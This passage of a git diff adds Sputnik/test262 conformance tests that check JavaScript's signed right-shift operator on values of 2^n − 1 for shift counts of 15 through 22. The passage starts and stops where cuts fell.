+ $ERROR('#507: 67108863 >> 15 === 2047. Actual: ' + (67108863 >> 15));
+}
+
+
+if (134217727 >> 15 !== 4095) {
+ $ERROR('#508: 134217727 >> 15 === 4095. Actual: ' + (134217727 >> 15));
+}
+
+
+if (268435455 >> 15 !== 8191) {
+ $ERROR('#509: 268435455 >> 15 === 8191. Actual: ' + (268435455 >> 15));
+}
+
+
+if (536870911 >> 15 !== 16383) {
+ $ERROR('#510: 536870911 >> 15 === 16383. Actual: ' + (536870911 >> 15));
+}
+
+
+if (1073741823 >> 15 !== 32767) {
+ $ERROR('#511: 1073741823 >> 15 === 32767. Actual: ' + (1073741823 >> 15));
+}
+
+
+if (2147483647 >> 15 !== 65535) {
+ $ERROR('#512: 2147483647 >> 15 === 65535. Actual: ' + (2147483647 >> 15));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A4_T4.js b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A4_T4.js
new file mode 100644
index 000000000..aa1e0065a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A4_T4.js
@@ -0,0 +1,2566 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check x >> y operator in distinct points
+ *
+ * @path ch11/11.7/11.7.2/S11.7.2_A4_T4.js
+ * @description ShiftExpression = 2^n - 1, n = 16...31
+ */
+
+//CHECK
+
+if (0 >> 16 !== 0) {
+ $ERROR('#513: 0 >> 16 === 0. Actual: ' + (0 >> 16));
+}
+
+
+if (1 >> 16 !== 0) {
+ $ERROR('#514: 1 >> 16 === 0. Actual: ' + (1 >> 16));
+}
+
+
+if (3 >> 16 !== 0) {
+ $ERROR('#515: 3 >> 16 === 0. Actual: ' + (3 >> 16));
+}
+
+
+if (7 >> 16 !== 0) {
+ $ERROR('#516: 7 >> 16 === 0. Actual: ' + (7 >> 16));
+}
+
+
+if (15 >> 16 !== 0) {
+ $ERROR('#517: 15 >> 16 === 0. Actual: ' + (15 >> 16));
+}
+
+
+if (31 >> 16 !== 0) {
+ $ERROR('#518: 31 >> 16 === 0. Actual: ' + (31 >> 16));
+}
+
+
+if (63 >> 16 !== 0) {
+ $ERROR('#519: 63 >> 16 === 0. Actual: ' + (63 >> 16));
+}
+
+
+if (127 >> 16 !== 0) {
+ $ERROR('#520: 127 >> 16 === 0. Actual: ' + (127 >> 16));
+}
+
+
+if (255 >> 16 !== 0) {
+ $ERROR('#521: 255 >> 16 === 0. Actual: ' + (255 >> 16));
+}
+
+
+if (511 >> 16 !== 0) {
+ $ERROR('#522: 511 >> 16 === 0. Actual: ' + (511 >> 16));
+}
+
+
+if (1023 >> 16 !== 0) {
+ $ERROR('#523: 1023 >> 16 === 0. Actual: ' + (1023 >> 16));
+}
+
+
+if (2047 >> 16 !== 0) {
+ $ERROR('#524: 2047 >> 16 === 0. Actual: ' + (2047 >> 16));
+}
+
+
+if (4095 >> 16 !== 0) {
+ $ERROR('#525: 4095 >> 16 === 0. Actual: ' + (4095 >> 16));
+}
+
+
+if (8191 >> 16 !== 0) {
+ $ERROR('#526: 8191 >> 16 === 0. Actual: ' + (8191 >> 16));
+}
+
+
+if (16383 >> 16 !== 0) {
+ $ERROR('#527: 16383 >> 16 === 0. Actual: ' + (16383 >> 16));
+}
+
+
+if (32767 >> 16 !== 0) {
+ $ERROR('#528: 32767 >> 16 === 0. Actual: ' + (32767 >> 16));
+}
+
+
+if (65535 >> 16 !== 0) {
+ $ERROR('#529: 65535 >> 16 === 0. Actual: ' + (65535 >> 16));
+}
+
+
+if (131071 >> 16 !== 1) {
+ $ERROR('#530: 131071 >> 16 === 1. Actual: ' + (131071 >> 16));
+}
+
+
+if (262143 >> 16 !== 3) {
+ $ERROR('#531: 262143 >> 16 === 3. Actual: ' + (262143 >> 16));
+}
+
+
+if (524287 >> 16 !== 7) {
+ $ERROR('#532: 524287 >> 16 === 7. Actual: ' + (524287 >> 16));
+}
+
+
+if (1048575 >> 16 !== 15) {
+ $ERROR('#533: 1048575 >> 16 === 15. Actual: ' + (1048575 >> 16));
+}
+
+
+if (2097151 >> 16 !== 31) {
+ $ERROR('#534: 2097151 >> 16 === 31. Actual: ' + (2097151 >> 16));
+}
+
+
+if (4194303 >> 16 !== 63) {
+ $ERROR('#535: 4194303 >> 16 === 63. Actual: ' + (4194303 >> 16));
+}
+
+
+if (8388607 >> 16 !== 127) {
+ $ERROR('#536: 8388607 >> 16 === 127. Actual: ' + (8388607 >> 16));
+}
+
+
+if (16777215 >> 16 !== 255) {
+ $ERROR('#537: 16777215 >> 16 === 255. Actual: ' + (16777215 >> 16));
+}
+
+
+if (33554431 >> 16 !== 511) {
+ $ERROR('#538: 33554431 >> 16 === 511. Actual: ' + (33554431 >> 16));
+}
+
+
+if (67108863 >> 16 !== 1023) {
+ $ERROR('#539: 67108863 >> 16 === 1023. Actual: ' + (67108863 >> 16));
+}
+
+
+if (134217727 >> 16 !== 2047) {
+ $ERROR('#540: 134217727 >> 16 === 2047. Actual: ' + (134217727 >> 16));
+}
+
+
+if (268435455 >> 16 !== 4095) {
+ $ERROR('#541: 268435455 >> 16 === 4095. Actual: ' + (268435455 >> 16));
+}
+
+
+if (536870911 >> 16 !== 8191) {
+ $ERROR('#542: 536870911 >> 16 === 8191. Actual: ' + (536870911 >> 16));
+}
+
+
+if (1073741823 >> 16 !== 16383) {
+ $ERROR('#543: 1073741823 >> 16 === 16383. Actual: ' + (1073741823 >> 16));
+}
+
+
+if (2147483647 >> 16 !== 32767) {
+ $ERROR('#544: 2147483647 >> 16 === 32767. Actual: ' + (2147483647 >> 16));
+}
+
+
+if (0 >> 17 !== 0) {
+ $ERROR('#545: 0 >> 17 === 0. Actual: ' + (0 >> 17));
+}
+
+
+if (1 >> 17 !== 0) {
+ $ERROR('#546: 1 >> 17 === 0. Actual: ' + (1 >> 17));
+}
+
+
+if (3 >> 17 !== 0) {
+ $ERROR('#547: 3 >> 17 === 0. Actual: ' + (3 >> 17));
+}
+
+
+if (7 >> 17 !== 0) {
+ $ERROR('#548: 7 >> 17 === 0. Actual: ' + (7 >> 17));
+}
+
+
+if (15 >> 17 !== 0) {
+ $ERROR('#549: 15 >> 17 === 0. Actual: ' + (15 >> 17));
+}
+
+
+if (31 >> 17 !== 0) {
+ $ERROR('#550: 31 >> 17 === 0. Actual: ' + (31 >> 17));
+}
+
+
+if (63 >> 17 !== 0) {
+ $ERROR('#551: 63 >> 17 === 0. Actual: ' + (63 >> 17));
+}
+
+
+if (127 >> 17 !== 0) {
+ $ERROR('#552: 127 >> 17 === 0. Actual: ' + (127 >> 17));
+}
+
+
+if (255 >> 17 !== 0) {
+ $ERROR('#553: 255 >> 17 === 0. Actual: ' + (255 >> 17));
+}
+
+
+if (511 >> 17 !== 0) {
+ $ERROR('#554: 511 >> 17 === 0. Actual: ' + (511 >> 17));
+}
+
+
+if (1023 >> 17 !== 0) {
+ $ERROR('#555: 1023 >> 17 === 0. Actual: ' + (1023 >> 17));
+}
+
+
+if (2047 >> 17 !== 0) {
+ $ERROR('#556: 2047 >> 17 === 0. Actual: ' + (2047 >> 17));
+}
+
+
+if (4095 >> 17 !== 0) {
+ $ERROR('#557: 4095 >> 17 === 0. Actual: ' + (4095 >> 17));
+}
+
+
+if (8191 >> 17 !== 0) {
+ $ERROR('#558: 8191 >> 17 === 0. Actual: ' + (8191 >> 17));
+}
+
+
+if (16383 >> 17 !== 0) {
+ $ERROR('#559: 16383 >> 17 === 0. Actual: ' + (16383 >> 17));
+}
+
+
+if (32767 >> 17 !== 0) {
+ $ERROR('#560: 32767 >> 17 === 0. Actual: ' + (32767 >> 17));
+}
+
+
+if (65535 >> 17 !== 0) {
+ $ERROR('#561: 65535 >> 17 === 0. Actual: ' + (65535 >> 17));
+}
+
+
+if (131071 >> 17 !== 0) {
+ $ERROR('#562: 131071 >> 17 === 0. Actual: ' + (131071 >> 17));
+}
+
+
+if (262143 >> 17 !== 1) {
+ $ERROR('#563: 262143 >> 17 === 1. Actual: ' + (262143 >> 17));
+}
+
+
+if (524287 >> 17 !== 3) {
+ $ERROR('#564: 524287 >> 17 === 3. Actual: ' + (524287 >> 17));
+}
+
+
+if (1048575 >> 17 !== 7) {
+ $ERROR('#565: 1048575 >> 17 === 7. Actual: ' + (1048575 >> 17));
+}
+
+
+if (2097151 >> 17 !== 15) {
+ $ERROR('#566: 2097151 >> 17 === 15. Actual: ' + (2097151 >> 17));
+}
+
+
+if (4194303 >> 17 !== 31) {
+ $ERROR('#567: 4194303 >> 17 === 31. Actual: ' + (4194303 >> 17));
+}
+
+
+if (8388607 >> 17 !== 63) {
+ $ERROR('#568: 8388607 >> 17 === 63. Actual: ' + (8388607 >> 17));
+}
+
+
+if (16777215 >> 17 !== 127) {
+ $ERROR('#569: 16777215 >> 17 === 127. Actual: ' + (16777215 >> 17));
+}
+
+
+if (33554431 >> 17 !== 255) {
+ $ERROR('#570: 33554431 >> 17 === 255. Actual: ' + (33554431 >> 17));
+}
+
+
+if (67108863 >> 17 !== 511) {
+ $ERROR('#571: 67108863 >> 17 === 511. Actual: ' + (67108863 >> 17));
+}
+
+
+if (134217727 >> 17 !== 1023) {
+ $ERROR('#572: 134217727 >> 17 === 1023. Actual: ' + (134217727 >> 17));
+}
+
+
+if (268435455 >> 17 !== 2047) {
+ $ERROR('#573: 268435455 >> 17 === 2047. Actual: ' + (268435455 >> 17));
+}
+
+
+if (536870911 >> 17 !== 4095) {
+ $ERROR('#574: 536870911 >> 17 === 4095. Actual: ' + (536870911 >> 17));
+}
+
+
+if (1073741823 >> 17 !== 8191) {
+ $ERROR('#575: 1073741823 >> 17 === 8191. Actual: ' + (1073741823 >> 17));
+}
+
+
+if (2147483647 >> 17 !== 16383) {
+ $ERROR('#576: 2147483647 >> 17 === 16383. Actual: ' + (2147483647 >> 17));
+}
+
+
+if (0 >> 18 !== 0) {
+ $ERROR('#577: 0 >> 18 === 0. Actual: ' + (0 >> 18));
+}
+
+
+if (1 >> 18 !== 0) {
+ $ERROR('#578: 1 >> 18 === 0. Actual: ' + (1 >> 18));
+}
+
+
+if (3 >> 18 !== 0) {
+ $ERROR('#579: 3 >> 18 === 0. Actual: ' + (3 >> 18));
+}
+
+
+if (7 >> 18 !== 0) {
+ $ERROR('#580: 7 >> 18 === 0. Actual: ' + (7 >> 18));
+}
+
+
+if (15 >> 18 !== 0) {
+ $ERROR('#581: 15 >> 18 === 0. Actual: ' + (15 >> 18));
+}
+
+
+if (31 >> 18 !== 0) {
+ $ERROR('#582: 31 >> 18 === 0. Actual: ' + (31 >> 18));
+}
+
+
+if (63 >> 18 !== 0) {
+ $ERROR('#583: 63 >> 18 === 0. Actual: ' + (63 >> 18));
+}
+
+
+if (127 >> 18 !== 0) {
+ $ERROR('#584: 127 >> 18 === 0. Actual: ' + (127 >> 18));
+}
+
+
+if (255 >> 18 !== 0) {
+ $ERROR('#585: 255 >> 18 === 0. Actual: ' + (255 >> 18));
+}
+
+
+if (511 >> 18 !== 0) {
+ $ERROR('#586: 511 >> 18 === 0. Actual: ' + (511 >> 18));
+}
+
+
+if (1023 >> 18 !== 0) {
+ $ERROR('#587: 1023 >> 18 === 0. Actual: ' + (1023 >> 18));
+}
+
+
+if (2047 >> 18 !== 0) {
+ $ERROR('#588: 2047 >> 18 === 0. Actual: ' + (2047 >> 18));
+}
+
+
+if (4095 >> 18 !== 0) {
+ $ERROR('#589: 4095 >> 18 === 0. Actual: ' + (4095 >> 18));
+}
+
+
+if (8191 >> 18 !== 0) {
+ $ERROR('#590: 8191 >> 18 === 0. Actual: ' + (8191 >> 18));
+}
+
+
+if (16383 >> 18 !== 0) {
+ $ERROR('#591: 16383 >> 18 === 0. Actual: ' + (16383 >> 18));
+}
+
+
+if (32767 >> 18 !== 0) {
+ $ERROR('#592: 32767 >> 18 === 0. Actual: ' + (32767 >> 18));
+}
+
+
+if (65535 >> 18 !== 0) {
+ $ERROR('#593: 65535 >> 18 === 0. Actual: ' + (65535 >> 18));
+}
+
+
+if (131071 >> 18 !== 0) {
+ $ERROR('#594: 131071 >> 18 === 0. Actual: ' + (131071 >> 18));
+}
+
+
+if (262143 >> 18 !== 0) {
+ $ERROR('#595: 262143 >> 18 === 0. Actual: ' + (262143 >> 18));
+}
+
+
+if (524287 >> 18 !== 1) {
+ $ERROR('#596: 524287 >> 18 === 1. Actual: ' + (524287 >> 18));
+}
+
+
+if (1048575 >> 18 !== 3) {
+ $ERROR('#597: 1048575 >> 18 === 3. Actual: ' + (1048575 >> 18));
+}
+
+
+if (2097151 >> 18 !== 7) {
+ $ERROR('#598: 2097151 >> 18 === 7. Actual: ' + (2097151 >> 18));
+}
+
+
+if (4194303 >> 18 !== 15) {
+ $ERROR('#599: 4194303 >> 18 === 15. Actual: ' + (4194303 >> 18));
+}
+
+
+if (8388607 >> 18 !== 31) {
+ $ERROR('#600: 8388607 >> 18 === 31. Actual: ' + (8388607 >> 18));
+}
+
+
+if (16777215 >> 18 !== 63) {
+ $ERROR('#601: 16777215 >> 18 === 63. Actual: ' + (16777215 >> 18));
+}
+
+
+if (33554431 >> 18 !== 127) {
+ $ERROR('#602: 33554431 >> 18 === 127. Actual: ' + (33554431 >> 18));
+}
+
+
+if (67108863 >> 18 !== 255) {
+ $ERROR('#603: 67108863 >> 18 === 255. Actual: ' + (67108863 >> 18));
+}
+
+
+if (134217727 >> 18 !== 511) {
+ $ERROR('#604: 134217727 >> 18 === 511. Actual: ' + (134217727 >> 18));
+}
+
+
+if (268435455 >> 18 !== 1023) {
+ $ERROR('#605: 268435455 >> 18 === 1023. Actual: ' + (268435455 >> 18));
+}
+
+
+if (536870911 >> 18 !== 2047) {
+ $ERROR('#606: 536870911 >> 18 === 2047. Actual: ' + (536870911 >> 18));
+}
+
+
+if (1073741823 >> 18 !== 4095) {
+ $ERROR('#607: 1073741823 >> 18 === 4095. Actual: ' + (1073741823 >> 18));
+}
+
+
+if (2147483647 >> 18 !== 8191) {
+ $ERROR('#608: 2147483647 >> 18 === 8191. Actual: ' + (2147483647 >> 18));
+}
+
+
+if (0 >> 19 !== 0) {
+ $ERROR('#609: 0 >> 19 === 0. Actual: ' + (0 >> 19));
+}
+
+
+if (1 >> 19 !== 0) {
+ $ERROR('#610: 1 >> 19 === 0. Actual: ' + (1 >> 19));
+}
+
+
+if (3 >> 19 !== 0) {
+ $ERROR('#611: 3 >> 19 === 0. Actual: ' + (3 >> 19));
+}
+
+
+if (7 >> 19 !== 0) {
+ $ERROR('#612: 7 >> 19 === 0. Actual: ' + (7 >> 19));
+}
+
+
+if (15 >> 19 !== 0) {
+ $ERROR('#613: 15 >> 19 === 0. Actual: ' + (15 >> 19));
+}
+
+
+if (31 >> 19 !== 0) {
+ $ERROR('#614: 31 >> 19 === 0. Actual: ' + (31 >> 19));
+}
+
+
+if (63 >> 19 !== 0) {
+ $ERROR('#615: 63 >> 19 === 0. Actual: ' + (63 >> 19));
+}
+
+
+if (127 >> 19 !== 0) {
+ $ERROR('#616: 127 >> 19 === 0. Actual: ' + (127 >> 19));
+}
+
+
+if (255 >> 19 !== 0) {
+ $ERROR('#617: 255 >> 19 === 0. Actual: ' + (255 >> 19));
+}
+
+
+if (511 >> 19 !== 0) {
+ $ERROR('#618: 511 >> 19 === 0. Actual: ' + (511 >> 19));
+}
+
+
+if (1023 >> 19 !== 0) {
+ $ERROR('#619: 1023 >> 19 === 0. Actual: ' + (1023 >> 19));
+}
+
+
+if (2047 >> 19 !== 0) {
+ $ERROR('#620: 2047 >> 19 === 0. Actual: ' + (2047 >> 19));
+}
+
+
+if (4095 >> 19 !== 0) {
+ $ERROR('#621: 4095 >> 19 === 0. Actual: ' + (4095 >> 19));
+}
+
+
+if (8191 >> 19 !== 0) {
+ $ERROR('#622: 8191 >> 19 === 0. Actual: ' + (8191 >> 19));
+}
+
+
+if (16383 >> 19 !== 0) {
+ $ERROR('#623: 16383 >> 19 === 0. Actual: ' + (16383 >> 19));
+}
+
+
+if (32767 >> 19 !== 0) {
+ $ERROR('#624: 32767 >> 19 === 0. Actual: ' + (32767 >> 19));
+}
+
+
+if (65535 >> 19 !== 0) {
+ $ERROR('#625: 65535 >> 19 === 0. Actual: ' + (65535 >> 19));
+}
+
+
+if (131071 >> 19 !== 0) {
+ $ERROR('#626: 131071 >> 19 === 0. Actual: ' + (131071 >> 19));
+}
+
+
+if (262143 >> 19 !== 0) {
+ $ERROR('#627: 262143 >> 19 === 0. Actual: ' + (262143 >> 19));
+}
+
+
+if (524287 >> 19 !== 0) {
+ $ERROR('#628: 524287 >> 19 === 0. Actual: ' + (524287 >> 19));
+}
+
+
+if (1048575 >> 19 !== 1) {
+ $ERROR('#629: 1048575 >> 19 === 1. Actual: ' + (1048575 >> 19));
+}
+
+
+if (2097151 >> 19 !== 3) {
+ $ERROR('#630: 2097151 >> 19 === 3. Actual: ' + (2097151 >> 19));
+}
+
+
+if (4194303 >> 19 !== 7) {
+ $ERROR('#631: 4194303 >> 19 === 7. Actual: ' + (4194303 >> 19));
+}
+
+
+if (8388607 >> 19 !== 15) {
+ $ERROR('#632: 8388607 >> 19 === 15. Actual: ' + (8388607 >> 19));
+}
+
+
+if (16777215 >> 19 !== 31) {
+ $ERROR('#633: 16777215 >> 19 === 31. Actual: ' + (16777215 >> 19));
+}
+
+
+if (33554431 >> 19 !== 63) {
+ $ERROR('#634: 33554431 >> 19 === 63. Actual: ' + (33554431 >> 19));
+}
+
+
+if (67108863 >> 19 !== 127) {
+ $ERROR('#635: 67108863 >> 19 === 127. Actual: ' + (67108863 >> 19));
+}
+
+
+if (134217727 >> 19 !== 255) {
+ $ERROR('#636: 134217727 >> 19 === 255. Actual: ' + (134217727 >> 19));
+}
+
+
+if (268435455 >> 19 !== 511) {
+ $ERROR('#637: 268435455 >> 19 === 511. Actual: ' + (268435455 >> 19));
+}
+
+
+if (536870911 >> 19 !== 1023) {
+ $ERROR('#638: 536870911 >> 19 === 1023. Actual: ' + (536870911 >> 19));
+}
+
+
+if (1073741823 >> 19 !== 2047) {
+ $ERROR('#639: 1073741823 >> 19 === 2047. Actual: ' + (1073741823 >> 19));
+}
+
+
+if (2147483647 >> 19 !== 4095) {
+ $ERROR('#640: 2147483647 >> 19 === 4095. Actual: ' + (2147483647 >> 19));
+}
+
+
+if (0 >> 20 !== 0) {
+ $ERROR('#641: 0 >> 20 === 0. Actual: ' + (0 >> 20));
+}
+
+
+if (1 >> 20 !== 0) {
+ $ERROR('#642: 1 >> 20 === 0. Actual: ' + (1 >> 20));
+}
+
+
+if (3 >> 20 !== 0) {
+ $ERROR('#643: 3 >> 20 === 0. Actual: ' + (3 >> 20));
+}
+
+
+if (7 >> 20 !== 0) {
+ $ERROR('#644: 7 >> 20 === 0. Actual: ' + (7 >> 20));
+}
+
+
+if (15 >> 20 !== 0) {
+ $ERROR('#645: 15 >> 20 === 0. Actual: ' + (15 >> 20));
+}
+
+
+if (31 >> 20 !== 0) {
+ $ERROR('#646: 31 >> 20 === 0. Actual: ' + (31 >> 20));
+}
+
+
+if (63 >> 20 !== 0) {
+ $ERROR('#647: 63 >> 20 === 0. Actual: ' + (63 >> 20));
+}
+
+
+if (127 >> 20 !== 0) {
+ $ERROR('#648: 127 >> 20 === 0. Actual: ' + (127 >> 20));
+}
+
+
+if (255 >> 20 !== 0) {
+ $ERROR('#649: 255 >> 20 === 0. Actual: ' + (255 >> 20));
+}
+
+
+if (511 >> 20 !== 0) {
+ $ERROR('#650: 511 >> 20 === 0. Actual: ' + (511 >> 20));
+}
+
+
+if (1023 >> 20 !== 0) {
+ $ERROR('#651: 1023 >> 20 === 0. Actual: ' + (1023 >> 20));
+}
+
+
+if (2047 >> 20 !== 0) {
+ $ERROR('#652: 2047 >> 20 === 0. Actual: ' + (2047 >> 20));
+}
+
+
+if (4095 >> 20 !== 0) {
+ $ERROR('#653: 4095 >> 20 === 0. Actual: ' + (4095 >> 20));
+}
+
+
+if (8191 >> 20 !== 0) {
+ $ERROR('#654: 8191 >> 20 === 0. Actual: ' + (8191 >> 20));
+}
+
+
+if (16383 >> 20 !== 0) {
+ $ERROR('#655: 16383 >> 20 === 0. Actual: ' + (16383 >> 20));
+}
+
+
+if (32767 >> 20 !== 0) {
+ $ERROR('#656: 32767 >> 20 === 0. Actual: ' + (32767 >> 20));
+}
+
+
+if (65535 >> 20 !== 0) {
+ $ERROR('#657: 65535 >> 20 === 0. Actual: ' + (65535 >> 20));
+}
+
+
+if (131071 >> 20 !== 0) {
+ $ERROR('#658: 131071 >> 20 === 0. Actual: ' + (131071 >> 20));
+}
+
+
+if (262143 >> 20 !== 0) {
+ $ERROR('#659: 262143 >> 20 === 0. Actual: ' + (262143 >> 20));
+}
+
+
+if (524287 >> 20 !== 0) {
+ $ERROR('#660: 524287 >> 20 === 0. Actual: ' + (524287 >> 20));
+}
+
+
+if (1048575 >> 20 !== 0) {
+ $ERROR('#661: 1048575 >> 20 === 0. Actual: ' + (1048575 >> 20));
+}
+
+
+if (2097151 >> 20 !== 1) {
+ $ERROR('#662: 2097151 >> 20 === 1. Actual: ' + (2097151 >> 20));
+}
+
+
+if (4194303 >> 20 !== 3) {
+ $ERROR('#663: 4194303 >> 20 === 3. Actual: ' + (4194303 >> 20));
+}
+
+
+if (8388607 >> 20 !== 7) {
+ $ERROR('#664: 8388607 >> 20 === 7. Actual: ' + (8388607 >> 20));
+}
+
+
+if (16777215 >> 20 !== 15) {
+ $ERROR('#665: 16777215 >> 20 === 15. Actual: ' + (16777215 >> 20));
+}
+
+
+if (33554431 >> 20 !== 31) {
+ $ERROR('#666: 33554431 >> 20 === 31. Actual: ' + (33554431 >> 20));
+}
+
+
+if (67108863 >> 20 !== 63) {
+ $ERROR('#667: 67108863 >> 20 === 63. Actual: ' + (67108863 >> 20));
+}
+
+
+if (134217727 >> 20 !== 127) {
+ $ERROR('#668: 134217727 >> 20 === 127. Actual: ' + (134217727 >> 20));
+}
+
+
+if (268435455 >> 20 !== 255) {
+ $ERROR('#669: 268435455 >> 20 === 255. Actual: ' + (268435455 >> 20));
+}
+
+
+if (536870911 >> 20 !== 511) {
+ $ERROR('#670: 536870911 >> 20 === 511. Actual: ' + (536870911 >> 20));
+}
+
+
+if (1073741823 >> 20 !== 1023) {
+ $ERROR('#671: 1073741823 >> 20 === 1023. Actual: ' + (1073741823 >> 20));
+}
+
+
+if (2147483647 >> 20 !== 2047) {
+ $ERROR('#672: 2147483647 >> 20 === 2047. Actual: ' + (2147483647 >> 20));
+}
+
+
+if (0 >> 21 !== 0) {
+ $ERROR('#673: 0 >> 21 === 0. Actual: ' + (0 >> 21));
+}
+
+
+if (1 >> 21 !== 0) {
+ $ERROR('#674: 1 >> 21 === 0. Actual: ' + (1 >> 21));
+}
+
+
+if (3 >> 21 !== 0) {
+ $ERROR('#675: 3 >> 21 === 0. Actual: ' + (3 >> 21));
+}
+
+
+if (7 >> 21 !== 0) {
+ $ERROR('#676: 7 >> 21 === 0. Actual: ' + (7 >> 21));
+}
+
+
+if (15 >> 21 !== 0) {
+ $ERROR('#677: 15 >> 21 === 0. Actual: ' + (15 >> 21));
+}
+
+
+if (31 >> 21 !== 0) {
+ $ERROR('#678: 31 >> 21 === 0. Actual: ' + (31 >> 21));
+}
+
+
+if (63 >> 21 !== 0) {
+ $ERROR('#679: 63 >> 21 === 0. Actual: ' + (63 >> 21));
+}
+
+
+if (127 >> 21 !== 0) {
+ $ERROR('#680: 127 >> 21 === 0. Actual: ' + (127 >> 21));
+}
+
+
+if (255 >> 21 !== 0) {
+ $ERROR('#681: 255 >> 21 === 0. Actual: ' + (255 >> 21));
+}
+
+
+if (511 >> 21 !== 0) {
+ $ERROR('#682: 511 >> 21 === 0. Actual: ' + (511 >> 21));
+}
+
+
+if (1023 >> 21 !== 0) {
+ $ERROR('#683: 1023 >> 21 === 0. Actual: ' + (1023 >> 21));
+}
+
+
+if (2047 >> 21 !== 0) {
+ $ERROR('#684: 2047 >> 21 === 0. Actual: ' + (2047 >> 21));
+}
+
+
+if (4095 >> 21 !== 0) {
+ $ERROR('#685: 4095 >> 21 === 0. Actual: ' + (4095 >> 21));
+}
+
+
+if (8191 >> 21 !== 0) {
+ $ERROR('#686: 8191 >> 21 === 0. Actual: ' + (8191 >> 21));
+}
+
+
+if (16383 >> 21 !== 0) {
+ $ERROR('#687: 16383 >> 21 === 0. Actual: ' + (16383 >> 21));
+}
+
+
+if (32767 >> 21 !== 0) {
+ $ERROR('#688: 32767 >> 21 === 0. Actual: ' + (32767 >> 21));
+}
+
+
+if (65535 >> 21 !== 0) {
+ $ERROR('#689: 65535 >> 21 === 0. Actual: ' + (65535 >> 21));
+}
+
+
+if (131071 >> 21 !== 0) {
+ $ERROR('#690: 131071 >> 21 === 0. Actual: ' + (131071 >> 21));
+}
+
+
+if (262143 >> 21 !== 0) {
+ $ERROR('#691: 262143 >> 21 === 0. Actual: ' + (262143 >> 21));
+}
+
+
+if (524287 >> 21 !== 0) {
+ $ERROR('#692: 524287 >> 21 === 0. Actual: ' + (524287 >> 21));
+}
+
+
+if (1048575 >> 21 !== 0) {
+ $ERROR('#693: 1048575 >> 21 === 0. Actual: ' + (1048575 >> 21));
+}
+
+
+if (2097151 >> 21 !== 0) {
+ $ERROR('#694: 2097151 >> 21 === 0. Actual: ' + (2097151 >> 21));
+}
+
+
+if (4194303 >> 21 !== 1) {
+ $ERROR('#695: 4194303 >> 21 === 1. Actual: ' + (4194303 >> 21));
+}
+
+
+if (8388607 >> 21 !== 3) {
+ $ERROR('#696: 8388607 >> 21 === 3. Actual: ' + (8388607 >> 21));
+}
+
+
+if (16777215 >> 21 !== 7) {
+ $ERROR('#697: 16777215 >> 21 === 7. Actual: ' + (16777215 >> 21));
+}
+
+
+if (33554431 >> 21 !== 15) {
+ $ERROR('#698: 33554431 >> 21 === 15. Actual: ' + (33554431 >> 21));
+}
+
+
+if (67108863 >> 21 !== 31) {
+ $ERROR('#699: 67108863 >> 21 === 31. Actual: ' + (67108863 >> 21));
+}
+
+
+if (134217727 >> 21 !== 63) {
+ $ERROR('#700: 134217727 >> 21 === 63. Actual: ' + (134217727 >> 21));
+}
+
+
+if (268435455 >> 21 !== 127) {
+ $ERROR('#701: 268435455 >> 21 === 127. Actual: ' + (268435455 >> 21));
+}
+
+
+if (536870911 >> 21 !== 255) {
+ $ERROR('#702: 536870911 >> 21 === 255. Actual: ' + (536870911 >> 21));
+}
+
+
+if (1073741823 >> 21 !== 511) {
+ $ERROR('#703: 1073741823 >> 21 === 511. Actual: ' + (1073741823 >> 21));
+}
+
+
+if (2147483647 >> 21 !== 1023) {
+ $ERROR('#704: 2147483647 >> 21 === 1023. Actual: ' + (2147483647 >> 21));
+}
+
+
+if (0 >> 22 !== 0) {
+ $ERROR('#705: 0 >> 22 === 0. Actual: ' + (0 >> 22));
+}
+
+
+if (1 >> 22 !== 0) {
+ $ERROR('#706: 1 >> 22 === 0. Actual: ' + (1 >> 22));
+}
+
+
+if (3 >> 22 !== 0) {
+ $ERROR('#707: 3 >> 22 === 0. Actual: ' + (3 >> 22));
+}
+
+
+if (7 >> 22 !== 0) {
+ $ERROR('#708: 7 >> 22 === 0. Actual: ' + (7 >> 22));
+}
+
+
+if (15 >> 22 !== 0) {
+ $ERROR('#709: 15 >> 22 === 0. Actual: ' + (15 >> 22));
+}
+
+
+if (31 >> 22 !== 0) {
+ $ERROR('#710: 31 >> 22 === 0. Actual: ' + (31 >> 22));
+}
+
+
+if (63 >> 22 !== 0) {
+ $ERROR('#711: 63 >> 22 === 0. Actual: ' + (63 >> 22));
+}
+
+
+if (127 >> 22 !== 0) {
+ $ERROR('#712: 127 >> 22 === 0. Actual: ' + (127 >> 22));
+}
+
+
+if (255 >> 22 !== 0) {
+ $ERROR('#713: 255 >> 22 === 0. Actual: ' + (255 >> 22));
+}
+
+
+if (511 >> 22 !== 0) {
+ $ERROR('#714: 511 >> 22 === 0. Actual: ' + (511 >> 22));
+}
+
+
+if (1023 >> 22 !== 0) {
+ $ERROR('#715: 1023 >> 22 === 0. Actual: ' + (1023 >> 22));
+}
+
+
+if (2047 >> 22 !== 0) {
+ $ERROR('#716: 2047 >> 22 === 0. Actual: ' + (2047 >> 22));
+}
+
+
+if (4095 >> 22 !== 0) {
+ $ERROR('#717: 4095 >> 22 === 0. Actual: ' + (4095 >> 22));
+}
+
+
+if (8191 >> 22 !== 0) {
+ $ERROR('#718: 8191 >> 22 === 0. Actual: ' + (8191 >> 22));
+}
+
+
+if (16383 >> 22 !== 0) {
+ $ERROR('#719: 16383 >> 22 === 0. Actual: ' + (16383 >> 22));
+}
+
+
+if (32767 >> 22 !== 0) {
+ $ERROR('#720: 32767 >> 22 === 0. Actual: ' + (32767 >> 22));
+}
+
+
+if (65535 >> 22 !== 0) {
+ $ERROR('#721: 65535 >> 22 === 0. Actual: ' + (65535 >> 22));
+}
+
+
+if (131071 >> 22 !== 0) {
+ $ERROR('#722: 131071 >> 22 === 0. Actual: ' + (131071 >> 22));
+}
+
+
+if (262143 >> 22 !== 0) {
+ $ERROR('#723: 262143 >> 22 === 0. Actual: ' + (262143 >> 22));
+}
+
+
+if (524287 >> 22 !== 0) {
+ $ERROR('#724: 524287 >> 22 === 0. Actual: ' + (524287 >> 22));
+}
+
+
+if (1048575 >> 22 !== 0) {
+ $ERROR('#725: 1048575 >> 22 === 0. Actual: ' + (1048575 >> 22));
+}
+
+
+if (2097151 >> 22 !== 0) {
+ $ERROR('#726: 2097151 >> 22 === 0. Actual: ' + (2097151 >> 22));
+}
+
+
+if (4194303 >> 22 !== 0) {
